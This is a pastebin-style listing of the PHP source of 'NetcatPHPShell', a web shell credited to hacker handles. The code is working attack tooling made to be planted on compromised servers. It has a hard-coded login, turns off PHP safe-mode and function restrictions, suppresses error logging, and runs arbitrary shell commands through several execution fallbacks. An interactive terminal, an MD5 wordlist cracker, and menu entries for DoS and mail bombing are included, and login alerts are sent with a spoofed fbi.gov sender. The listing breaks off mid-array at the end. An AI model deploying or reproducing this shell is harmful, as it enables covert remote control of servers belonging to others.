NetCat PHP Shell - Shells-Center.Com

SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 8:12 a.m.

FORMAT: PHP

SIZE: 42.0 kB

Raw Download

HITS: 513

Report
  1. <?php
  2. /*
  3. #############################################
  4. # ––•(–•- NetcatPHPShell –•–)•–– #
  6. # .::+ :Leech by K0eN: +::. #
  8. # NetcatPHPShell ( Released on 9/16/12 ) #
  10. # Email: K0eN@haxor.co #
  12. #############################################
  15. */
  17. error_reporting(0);
  18. ini_set('max_execution_time',0);
  21. // ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
  23. /**************** Defines *********************************/
  25. $greeting = "";
  26. $user = "root";
  27. $pass = "netcat";
  28. $lock = "on"; // set this to off if you dont need the login page
  29. $antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
  30. $tracebackFeature = "off"; // set this feature to enable email alerts
  31. $ownerEmail = "K0eN@haxor.co"; // Change this to your email , This email is used to deliver tracebacks about your shell
  32. $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  33. $phpVersion=phpversion();
  34. $self=$_SERVER["PHP_SELF"]; // Where am i
  35. $sm = @ini_get('safe_mode');
  36. $SEPARATOR = '/'; // Default Directory separator
  37. $os = "N/D";
  39. if(stristr(php_uname(),"Windows"))
  40. {
  41. $SEPARATOR = '\\';
  42. $os = "Windows";
  43. }
  44. else if(stristr(php_uname(),"Linux"))
  45. {
  46. $os = "Linux";
  47. }
  50. //*************************************************************/
  52. // -------------- Traceback Functions
  54. function sendLoginAlert()
  55. {
  56. global $ownerEmail;
  57. global $url;
  58. $accesedIp = $_SERVER['REMOTE_ADDR'];
  59. $randomInt = rand(0,1000000); # to avoid id blocking
  60. $from = "ani-shell$randomInt@fbi.gov";
  62. //echo $from;
  64. if(function_exists('mail'))
  65. {
  66. $subject = "Shell Accessed -- Ani-Shell --";
  67. $message = "
  68. Hey Owner ,
  70. Your Shell(Ani-Shell) located at $url was accessed by $accesedIp
  72. If its not you :-
  74. 1. Please check if the shell is secured.
  75. 2. Change your user name and Password.
  76. 3. Check if lock is 0n!
  77. and Kick that ****** out!
  79. Thanking You
  81. Yours Faithfully
  82. Ani-Shell
  83. ";
  84. mail($ownerEmail,$subject,$message,'From:'.$from);
  85. }
  86. }
  88. //---------------------------------------------------------
  91. if(function_exists('session_start') && $lock == 'on')
  92. {
  93. session_start();
  94. }
  95. else
  96. {
  97. // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
  98. $lock = 'off';
  99. }
  101. //logout
  103. if(isset($_GET['logout']) && $lock == 'on')
  104. {
  105. $_SESSION['authenticated'] = 0;
  106. session_destroy();
  107. header("location: ".$_SERVER['PHP_SELF']);
  108. }
  110. ini_set('max_execution_time',0);
  114. /***************** Restoring *******************************/
  117. ini_restore("safe_mode_include_dir");
  118. ini_restore("safe_mode_exec_dir");
  119. ini_restore("disable_functions");
  120. ini_restore("allow_url_fopen");
  121. ini_restore("safe_mode");
  122. ini_restore("open_basedir");
  124. if(function_exists('ini_set'))
  125. {
  126. ini_set('error_log',NULL); // No alarming logs
  127. ini_set('log_errors',0); // No logging of errors
  128. ini_set('file_uploads',1); // Enable file uploads
  129. ini_set('allow_url_fopen',1); // allow url fopen
  130. }
  132. else
  133. {
  134. ini_alter('error_log',NULL);
  135. ini_alter('log_errors',0);
  136. ini_alter('file_uploads',1);
  137. ini_alter('allow_url_fopen',1);
  138. }
  140. // ----------------------------------------------------------------------------------------------------------------
  143. ?>
  144. <html>
  145. <head>
  146. <title>––•(–•- NetcatPHPShell –•–)•–– | | Made by Mr.H4rD3n</title>
  148. <?php
  149. if($antiCrawler != 'off')
  150. {
  151. ?>
  152. <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  153. <?php
  154. }
  155. ?>
  157. <style>
  159. /*
  160. ==========================
  161. CSS Section
  162. ==========================
  163. */
  165. *{
  166. padding:0;
  167. margin:0;
  168. }
  170. .alert
  171. {
  172. background:red;
  173. color:white;
  174. font-weight:bold;
  175. }
  176. td.info
  177. {
  178. width:0px;
  179. }
  181. .bind
  182. {
  183. border: 1px solid #333333;
  184. margin: 15px auto 0;
  185. font-size: small;
  186. }
  188. div.end *
  189. {
  190. font-size:small;
  191. }
  193. div.end
  194. {
  195. width:100%;
  196. background:#529ADE;
  197. }
  199. p.blink
  200. {
  201. text-decoration: blink;
  202. }
  204. body
  205. {
  206. background-color:black;
  207. color:rgb(35,182,39);
  208. font-family:Tahoma,Verdana,Arial;
  209. font-size: small;
  210. }
  212. input.own {
  213. background-color: Green;
  214. color: white;
  215. border : 1px solid #529ADE;
  216. }
  218. blockquote.small
  219. {
  220. font-size: smaller;
  221. color: silver;
  222. text-align: center;
  223. }
  225. table.files
  226. {
  227. border-spacing: 10px;
  228. font-size: small;
  229. }
  231. h1 {
  232. padding: 4px;
  233. padding-bottom: 0px;
  234. margin-right : 5px;
  235. }
  236. div.logo
  237. {
  238. border-right: 1px aqua solid;
  239. }
  240. div.header
  241. {
  242. padding-left: 5px;
  243. font-size: small;
  244. text-align: left;
  245. }
  246. div.nav
  247. {
  248. margin-top:1px;
  249. height:30px;
  250. background-color: #529ADE;
  251. }
  252. div.nav ul
  253. {
  254. list-style: none;
  255. padding: 4px;
  256. }
  257. div.nav li
  258. {
  259. float: left;
  260. margin-right: 10px;
  261. text-align:center;
  262. }
  263. textarea.cmd
  264. {
  265. border : 1px solid #111;
  266. background-color : green;
  267. font-family: Shell;
  268. color : white;
  269. margin-top: 10px;
  270. font-size:small;
  271. }
  273. input.cmd
  274. {
  275. background-color:black;
  276. color: white;
  277. width: 400px;
  278. border : 1px solid #529ADE;
  280. }
  281. td.maintext
  282. {
  283. font-size: large;
  284. }
  285. #margins
  286. {
  287. margin-left: 10px;
  288. margin-top: 10px;
  289. color:white;
  290. }
  291. table.top
  292. {
  293. border-bottom: 1px solid aqua;
  294. width: 100%;
  295. }
  296. #borders
  297. {
  298. border-top : 1px solid aqua;
  299. border-left:1px solid aqua;
  300. border-bottom: 1px solid aqua;
  301. border-right: 1px solid aqua;
  302. margin-bottom:0;
  303. }
  304. td.file a , .file a
  305. {
  306. color : aqua;
  307. text-decoration:none;
  308. }
  309. a.dir
  310. {
  311. color:white;
  312. font-weight:bold;
  313. text-decoration:none;
  314. }
  315. td.dir a
  316. {
  317. color : white;
  318. text-decoration:none;
  319. }
  320. td.download,td.download2
  321. {
  322. color:green;
  323. }
  324. #spacing
  325. {
  326. padding:10px;
  327. margin-left:200px;
  328. }
  329. th.header
  330. {
  331. background: none repeat scroll 0 0 #191919;
  332. color: white;
  333. border-bottom : 1px solid #333333;
  334. }
  335. p.warning
  336. {
  337. background : red;
  338. color: white;
  339. }
  341. /*
  343. --------------------------------CSS END------------------------------------------------------
  345. */
  346. </style>
  347. </head>
  349. <body text="rgb(39,245,10)" bgcolor="black" style="background-color:#000000">
  350. <?php
  352. if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
  353. {
  354. if( $_POST['user'] == $user &&
  355. $_POST['pass'] == $pass )
  356. {
  357. $_SESSION['authenticated'] = 1;
  358. // --------------------- Tracebacks --------------------------------
  359. if($tracebackFeature == 'On')
  360. {
  361. sendLoginAlert();
  362. }
  363. // ------------------------------------------------------------------
  364. }
  365. }
  367. if($lock == 'off')
  368. {?>
  369. <p class="warning"><font color="#FF0000"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></font></p>
  370. <?php
  371. }
  373. if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
  374. {
  376. ?>
  377. <table height="421" width="993">
  378. <tbody>
  379. <tr>
  380. <td width="448">
  381. <pre>
  382. <font color="Orange">
  383. <b>
  384. </b></font><b><font color="#19D2FE">[]======================================[]
  385. []-----------</font><font color="#FFFFFF">NetcatPHPShell</font><font color="#19D2FE">-------------[]
  386. []---------------</font><font color="#CC6600">Private</font><font color="#19D2FE">----------------[]
  387. []======================================[]
  388. [] </font><font color="#FFFFFF">–</font><font color="#19D2FE">–</font><font color="#FF0000">•(</font><font color="#19D2FE">-• c0d3d by Mr.H4rD3n •-</font><font color="#FF0000">)•</font><font color="#19D2FE">–</font><font color="#FFFFFF">–</font><font color="#19D2FE"> []</font></b></pre>
  389. <pre>
  390. <b><font color="#19D2FE">[]======================================[]
  391. [] NetcatPHPShell Released on </font><font color="#FFFFFF">11/04/12</font><font color="#19D2FE"> []</font></b></pre>
  392. <pre>
  393. <b><font color="#19D2FE">[]======================================[]
  394. [] </font><font color="#CC6600">WeLcOmE Master Of The Server !</font><font color="#19D2FE"> []
  395. []======================================[]</font></b></pre>
  396. <pre><b><font color="#19D2FE">[] Moroccan </font><font color="#FFFFFF">Hackers</font><font color="#19D2FE"> []
  397. [] </font><font color="#FFFFFF">Moroccan</font><font color="#19D2FE"> C0d3r []</font></b></pre>
  398. <pre><b><font color="#19D2FE">[] Moroccan </font><font color="#FFFFFF">Masters </font><font color="#19D2FE">[]</font></b></pre>
  399. <pre><b><font color="#19D2FE">[]======================================[]
  400. [] </font><font color="#CC6600">MaD </font><font color="#FFFFFF">In</font><font color="#CC6600"> </font><font color="#19D2FE">MoRoCcO []</font></b></pre>
  401. <pre><b><font color="#19D2FE">[]======================================[]
  402. [] []
  403. [] </font><font color="#CC6600">Netcat</font><font color="#19D2FE"> </font><font color="#FFFFFF">PHP Connect to Server</font><font color="#19D2FE"> []</font></b></pre>
  404. <pre><b><font color="#19D2FE">[] []
  405. []======================================[]
  406. [] </font><font color="#CC6600">My Groupe</font><font color="#19D2FE"> </font><font color="#FFFFFF">IsLamiC Warrior Team</font><font color="#19D2FE"> []
  407. []======================================[]
  408. [] </font><font color="#FF0000"> </font><font color="#CC6600">Email:</font><font color="#19D2FE"> </font><font color="#FFFFFF">exploit-id@hotmail.com</font><font color="#19D2FE"> []
  409. [] </font><font color="#CC6600"> Facebook :</font><font color="#19D2FE"> </font><font color="#FFFFFF">Facebook.com/Mr.H4rD3n</font> <font color="#19D2FE">[]
  410. []</font><font color="#19D2FE">======================================[]</font><font color="grey">
  411. </font></b><font color="grey">
  412. </pre>
  414. </td>
  415. <td>
  416. <h1><?php echo $greeting;?></h1>
  417. <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><br /><br />
  418. <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
  419. <input name="user" value="UserNamE" style="color: #19D2FE; background-color: #000000" size="20"/>
  420. <input name="pass" type="password" value="passwd" style="color: #19D2FE; background-color: #000000" size="20"/>
  421. <input class="own" type="submit" value="GO TO HeLL" style="color: #42CFF9; background-color: #000000"/>
  422. </form>
  423. </td>
  424. </tr>
  425. </tbody>
  426. </table>
  427. <?php
  428. }
  429. //---------------------------------- We are authenticated now-------------------------------------
  430. //Launch the shell
  431. else
  432. {
  433. //---------------------------------- Fuctions ---------------------------------------------------
  435. function showDrives()
  436. {
  437. global $self;
  438. foreach(range('A','Z') as $drive)
  439. {
  440. if(is_dir($drive.':\\'))
  441. {
  442. ?>
  443. <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  444. <?php echo $drive.":\\" ?>
  445. </a>
  446. <?php
  447. }
  448. }
  449. }
  451. function HumanReadableFilesize($size)
  452. {
  454. $mod = 1024;
  456. $units = explode(' ','B KB MB GB TB PB');
  457. for ($i = 0; $size > $mod; $i++)
  458. {
  459. $size /= $mod;
  460. }
  462. return round($size, 2) . ' ' . $units[$i];
  463. }
  465. function getClientIp()
  466. {
  467. echo $_SERVER['REMOTE_ADDR'];
  468. }
  470. function getServerIp()
  471. {
  472. echo getenv('SERVER_ADDR');
  473. }
  474. function getSoftwareInfo()
  475. {
  476. echo php_uname();
  477. }
  478. function diskSpace()
  479. {
  480. echo HumanReadableFilesize(disk_total_space("/"));
  481. }
  482. function freeSpace()
  483. {
  484. echo HumanReadableFilesize(disk_free_space("/"));
  485. }
  486. function getSafeMode()
  487. {
  488. global $sm;
  489. echo($sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF");
  491. }
  493. function getDisabledFunctions()
  494. {
  495. if(!ini_get('disable_functions'))
  496. {
  497. echo "None";
  498. }
  499. else
  500. {
  501. echo @ini_get('disable_functions');
  502. }
  503. }
  505. function getFilePermissions($file)
  506. {
  508. $perms = fileperms($file);
  510. if (($perms & 0xC000) == 0xC000) {
  511. // Socket
  512. $info = 's';
  513. } elseif (($perms & 0xA000) == 0xA000) {
  514. // Symbolic Link
  515. $info = 'l';
  516. } elseif (($perms & 0x8000) == 0x8000) {
  517. // Regular
  518. $info = '-';
  519. } elseif (($perms & 0x6000) == 0x6000) {
  520. // Block special
  521. $info = 'b';
  522. } elseif (($perms & 0x4000) == 0x4000) {
  523. // Directory
  524. $info = 'd';
  525. } elseif (($perms & 0x2000) == 0x2000) {
  526. // Character special
  527. $info = 'c';
  528. } elseif (($perms & 0x1000) == 0x1000) {
  529. // FIFO pipe
  530. $info = 'p';
  531. } else {
  532. // Unknown
  533. $info = 'u';
  534. }
  536. // Owner
  537. $info .= (($perms & 0x0100) ? 'r' : '-');
  538. $info .= (($perms & 0x0080) ? 'w' : '-');
  539. $info .= (($perms & 0x0040) ?
  540. (($perms & 0x0800) ? 's' : 'x' ) :
  541. (($perms & 0x0800) ? 'S' : '-'));
  543. // Group
  544. $info .= (($perms & 0x0020) ? 'r' : '-');
  545. $info .= (($perms & 0x0010) ? 'w' : '-');
  546. $info .= (($perms & 0x0008) ?
  547. (($perms & 0x0400) ? 's' : 'x' ) :
  548. (($perms & 0x0400) ? 'S' : '-'));
  550. // World
  551. $info .= (($perms & 0x0004) ? 'r' : '-');
  552. $info .= (($perms & 0x0002) ? 'w' : '-');
  553. $info .= (($perms & 0x0001) ?
  554. (($perms & 0x0200) ? 't' : 'x' ) :
  555. (($perms & 0x0200) ? 'T' : '-'));
  557. return $info;
  559. }
  561. /***********************************************************/
  562. // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
  563. // Turned OfF!
  564. /**********************************************************/
  567. function exec_all($command)
  568. {
  570. $output = '';
  571. if(function_exists('exec'))
  572. {
  573. exec($command,$output);
  574. $output = join("\n",$output);
  575. }
  577. else if(function_exists('shell_exec'))
  578. {
  579. $output = shell_exec($command);
  580. }
  582. else if(function_exists('popen'))
  583. {
  584. $handle = popen($command , "r"); // Open the command pipe for reading
  585. if(is_resource($handle))
  586. {
  587. if(function_exists('fread') && function_exists('feof'))
  588. {
  589. while(!feof($handle))
  590. {
  591. $output .= fread($handle, 512);
  592. }
  593. }
  594. else if(function_exists('fgets') && function_exists('feof'))
  595. {
  596. while(!feof($handle))
  597. {
  598. $output .= fgets($handle,512);
  599. }
  600. }
  601. }
  602. pclose($handle);
  603. }
  606. else if(function_exists('system'))
  607. {
  608. ob_start(); //start output buffering
  609. system($command);
  610. $output = ob_get_contents(); // Get the ouput
  611. ob_end_clean(); // Stop output buffering
  612. }
  614. else if(function_exists('passthru'))
  615. {
  616. ob_start(); //start output buffering
  617. passthru($command);
  618. $output = ob_get_contents(); // Get the ouput
  619. ob_end_clean(); // Stop output buffering
  620. }
  622. else if(function_exists('proc_open'))
  623. {
  624. $descriptorspec = array(
  625. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  626. );
  627. $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  628. if(is_resource($handle))
  629. {
  630. if(function_exists('fread') && function_exists('feof'))
  631. {
  632. while(!feof($pipes[1]))
  633. {
  634. $output .= fread($pipes[1], 512);
  635. }
  636. }
  637. else if(function_exists('fgets') && function_exists('feof'))
  638. {
  639. while(!feof($pipes[1]))
  640. {
  641. $output .= fgets($pipes[1],512);
  642. }
  643. }
  644. }
  645. pclose($handle);
  646. }
  647. else
  648. {
  649. $output = "They have their Security there! :( ";
  650. }
  652. return(htmlspecialchars($output));
  654. }
  655. function magicQuote($text)
  656. {
  657. if (!get_magic_quotes_gpc())
  658. {
  659. return $text;
  660. }
  661. return stripslashes($text);
  662. }
  664. function md5Crack($hash , $list)
  665. {
  666. $fd = fopen($list,"r");
  667. if( strlen($hash) != 32 || $fd == FALSE)
  668. {
  669. // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
  670. return "<p class='warning'>Hash or List invalid!</p>";
  671. }
  672. else
  673. {
  674. $pwdList = fread($fd,512);
  676. $pwdList = explode("\n",$pwdList);
  678. echo "Words Checked :-<br /><br />\n";
  681. foreach($pwdList as $pwd)
  682. {
  683. $pwd = trim($pwd);
  685. echo "<br />[*] ".$pwd;
  687. if(md5($pwd) == $hash )
  688. {
  689. return "<br /><br /><br />\n<h2>Hash Cracked</h2><br /><br />\n<p class='warning'>Planintext : $pwd</p>";
  690. }
  691. }
  694. }
  695. }
  696. //------------------------------------------------------------------------------------------------
  699. ?>
  701. <div class="nav" style="width: 1005px; height: 49px">
  702. <ul>
  703. <li><a href="<?php echo $self;?>"></a></li>
  704. <li><a href="<?php echo $self.'?upload';?>"></a></li>
  705. <li><a href="<?php echo $self.'?shell';?>"></a></li>
  706. <li><a href="<?php echo $self.'?dos';?>"></a></li>
  707. <li><a href="<?php echo $self.'?fuzz';?>"></a></li>
  708. <li><a href="<?php echo $self.'?mail'?>"></a></li>
  709. <li><a href="<?php echo $self.'?bomb'?>"></a></li>
  710. <li><a href="<?php echo $self.'?connect'?>"></a></li>
  711. <li><a href="<?php echo $self.'?injector'?>"></a></li>
  712. <li><a href="<?php echo $self.'?decode'?>"></a></li>
  713. <li><a href="<?php echo $self.'?eval'?>"></a></li>
  714. <li><a href="<?php echo $self.'?md5'?>"></a></li>
  716. <?php if($lock == 'on')
  717. {
  718. ?>
  719. <li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font face="Times New Roman" size="4">&nbsp;</font><font face="Times New Roman" size="5">
  720. </font>
  721. <i><font face="Verdana" size="5">
  722. <a href="<?php echo $self.'?logout'?>">
  723. <font color="#FFFFFF"><span style="text-decoration: none">Logout</span></font></a></font></i><font color="#FF0000"><b><i><font face="Verdana" size="5"></li></font></i><font face="Verdana" size="5"> </font>
  724. </b><font face="Times New Roman" size="5">
  725. <?php
  726. }
  727. ?>
  728. </font>
  729. </font>
  730. </ul>
  731. </div>
  733. <?php
  734. //-------------------------------- Check what he wants -------------------------------------------
  736. // Shell
  738. if(isset($_GET['shell']))
  739. {
  740. if(!isset($_GET['cmd']) || $_GET['cmd'] == '')
  741. {
  742. $result = "";
  743. }
  744. else
  745. {
  746. $result=exec_all($_GET['cmd']);
  747. }
  748. ?>
  749. <?php
  750. }
  752. //Rename
  754. else if(isset($_GET['rename']))
  755. {
  756. if(isset($_GET['to']) && isset($_GET['rename']))
  757. {
  758. if(rename($_GET['rename'],$_GET['to']) == FALSE)
  759. {
  760. ?>
  761. <?php
  762. }
  763. }
  764. else
  765. {
  766. ?>
  767. <?php
  768. }
  769. }
  772. // No request made
  773. // Display home page
  775. else
  776. {
  777. $dir = getcwd();
  778. if(isset($_GET['dir']))
  779. {
  780. $dir = $_GET['dir'];
  781. }
  782. ?>
  784. <p>&nbsp;</p>
  786. <?php
  788. $aliases = array('la' => 'ls -la',
  789. 'll' => 'ls -lvhF',
  790. 'dir' => 'ls' );
  791. $passwd = array('' => '');
  792. error_reporting(0);
  793. class phpTerm {
  795. function formatPrompt() {
  796. $user=shell_exec("whoami");
  797. $host=explode(".", shell_exec("uname -n"));
  798. $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  799. }
  801. function checkPassword($passwd) {
  802. if(!isset($_SERVER['PHP_AUTH_USER'])||
  803. !isset($_SERVER['PHP_AUTH_PW']) ||
  804. !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  805. $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  806. @session_start();
  807. return true;
  808. }
  809. else {
  810. @session_start();
  811. return true;
  812. }
  813. }
  815. function initVars()
  816. {
  817. if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  818. {
  819. $_SESSION['cwd'] = getcwd();
  820. $_SESSION['history'] = array();
  821. $_SESSION['output'] = '';
  822. $_REQUEST['command'] ='';
  823. }
  824. }
  826. function buildCommandHistory()
  827. {
  828. if(!empty($_REQUEST['command']))
  829. {
  830. if(get_magic_quotes_gpc())
  831. {
  832. $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  833. }
  835. // drop old commands from list if exists
  836. if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  837. {
  838. unset($_SESSION['history'][$i]);
  839. }
  840. array_unshift($_SESSION['history'], $_REQUEST['command']);
  842. // append commmand */
  843. $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  844. }
  845. }
  847. function buildJavaHistory()
  848. {
  849. // build command history for use in the JavaScript
  850. if (empty($_SESSION['history']))
  851. {
  852. $_SESSION['js_command_hist'] = '""';
  853. }
  854. else
  855. {
  856. $escaped = array_map('addslashes', $_SESSION['history']);
  857. $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  858. }
  859. }
  861. function outputHandle($aliases)
  862. {
  863. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  864. {
  865. $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  866. }
  867. elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  868. {
  869. // The current command is 'cd', which we have to handle as an internal shell command.
  870. // absolute/relative path ?"
  871. ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  873. // cosmetics
  874. while (strpos($new_dir, '/./') !== false)
  875. $new_dir = str_replace('/./', '/', $new_dir);
  876. while (strpos($new_dir, '//') !== false)
  877. $new_dir = str_replace('//', '/', $new_dir);
  878. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  879. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  881. if(empty($new_dir)): $new_dir = "/"; endif;
  883. (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  884. }
  885. else
  886. {
  887. /* The command is not a 'cd' command, so we execute it after
  888. * changing the directory and save the output. */
  889. chdir($_SESSION['cwd']);
  891. /* Alias expansion. */
  892. $length = strcspn($_REQUEST['command'], " \t");
  893. $token = substr(@$_REQUEST['command'], 0, $length);
  894. if (isset($aliases[$token]))
  895. $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  897. $p = proc_open(@$_REQUEST['command'],
  898. array(1 => array('pipe', 'w'),
  899. 2 => array('pipe', 'w')),
  900. $io);
  902. /* Read output sent to stdout. */
  903. while (!feof($io[1])) {
  904. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  905. }
  906. /* Read output sent to stderr. */
  907. while (!feof($io[2])) {
  908. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  909. }
  911. fclose($io[1]);
  912. fclose($io[2]);
  913. proc_close($p);
  914. }
  915. }
  916. } // end phpTerm
  918. /*##########################################################
  919. ## The main thing starts here
  920. ## All output ist XHTML
  921. ##########################################################*/
  923. $terminal=new phpTerm;
  925. @session_start();
  927. $terminal->initVars();
  928. $terminal->buildCommandHistory();
  929. $terminal->buildJavaHistory();
  930. if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  931. $terminal->outputHandle($aliases);
  933. header('Content-Type: text/html; charset=UTF-8');
  934. echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  935. ?>
  937. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  938. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  939. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  940. <head>
  941. <title>.:: --+ NeTCaTPHPShell +-- ::.</title>
  943. <script type="text/javascript" language="JavaScript">
  944. var current_line = 0;
  945. var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  946. var last = 0;
  948. function key(e) {
  949. if (!e) var e = window.event;
  951. if (e.keyCode == 38 && current_line < command_hist.length-1) {
  952. command_hist[current_line] = document.shell.command.value;
  953. current_line++;
  954. document.shell.command.value = command_hist[current_line];
  955. }
  957. if (e.keyCode == 40 && current_line > 0) {
  958. command_hist[current_line] = document.shell.command.value;
  959. current_line--;
  960. document.shell.command.value = command_hist[current_line];
  961. }
  963. }
  965. function init() {
  966. document.shell.setAttribute("autocomplete", "off");
  967. document.shell.output.scrollTop = document.shell.output.scrollHeight;
  968. document.shell.command.focus();
  969. }
  971. </script>
  972. <style type="text/css">
  973. body {font-family: sans-serif; color: black; background: white;}
  974. table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  975. td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  976. textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  977. p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  978. input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  979. </style>
  980. </head>
  982. <body onload="init()" style="background-color:#000000">
  984. nd )'<?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  986. <div align="center">
  988. <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><p>
  989. <font color="#FFFFFF">
  990. -------------------------------------------------------------------------------------</font></p>
  991. <p><font face="Times New Roman" color="#529ADE" size="4">–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font><font color="#FF0000" face="Times New Roman" size="4">–•</font><font size="4"><font color="#42CFF9" face="Times New Roman">(</font><font color="#FF0000" face="Times New Roman">-</font><font color="#27F50A" face="Times New Roman">•</font><b><font color="#529ADE" face="Times New Roman">
  992. © Copyright </font><font color="#FF0000" face="Times New Roman">Mr.H4rD3n</font><font color="#529ADE" face="Times New Roman">
  993. </font><font color="#FFFF00" face="Times New Roman">[ </font><font color="#529ADE" face="Times New Roman">All
  994. rights reserved </font><font color="#FFFF00" face="Times New Roman">]</font><font color="#529ADE" face="Times New Roman">
  995. </font><font color="#27F50A" face="Times New Roman">•</font><font color="#FF0000" face="Times New Roman">-</font><font color="#42CFF9" face="Times New Roman">)</font></b></font><b><font color="#FF0000" face="Times New Roman" size="4">•–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font></b></p>
  996. <p>
  997. <font color="#FFFFFF">
  998. -------------------------------------------------------------------------------------</font></p>
  999. <p><font face="Comic Sans MS" color="#42CFF9">Get Commands to Server - Bypass</font></p>
  1001. <table cellpadding="0" cellspacing="0">
  1002. <tr><td class="head" style="color: #000000;"><font color="#FFFFFF"><b>X</b></font></td>
  1003. <td class="head"><font color="#FFFFFF"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  1004. </font>
  1005. </td></tr>
  1006. <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  1007. <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  1008. <?php
  1009. $lines = substr_count($_SESSION['output'], "\n");
  1010. $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  1011. echo rtrim($padding . $_SESSION['output']);
  1012. ?>
  1013. </textarea>
  1014. <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  1015. <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  1016. </p>
  1018. <? /*<p>
  1019. <input type="submit" value="Execute Command" />
  1020. <input type="submit" name="reset" value="Reset" />
  1021. Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  1022. </p>
  1024. */
  1025. ?>
  1026. </form></td></tr>
  1027. </body>
  1028. </html>
  1029. <?php ?>
  1030. <?php
  1032. $aliases = array('la' => 'ls -la',
  1033. 'll' => 'ls -lvhF',
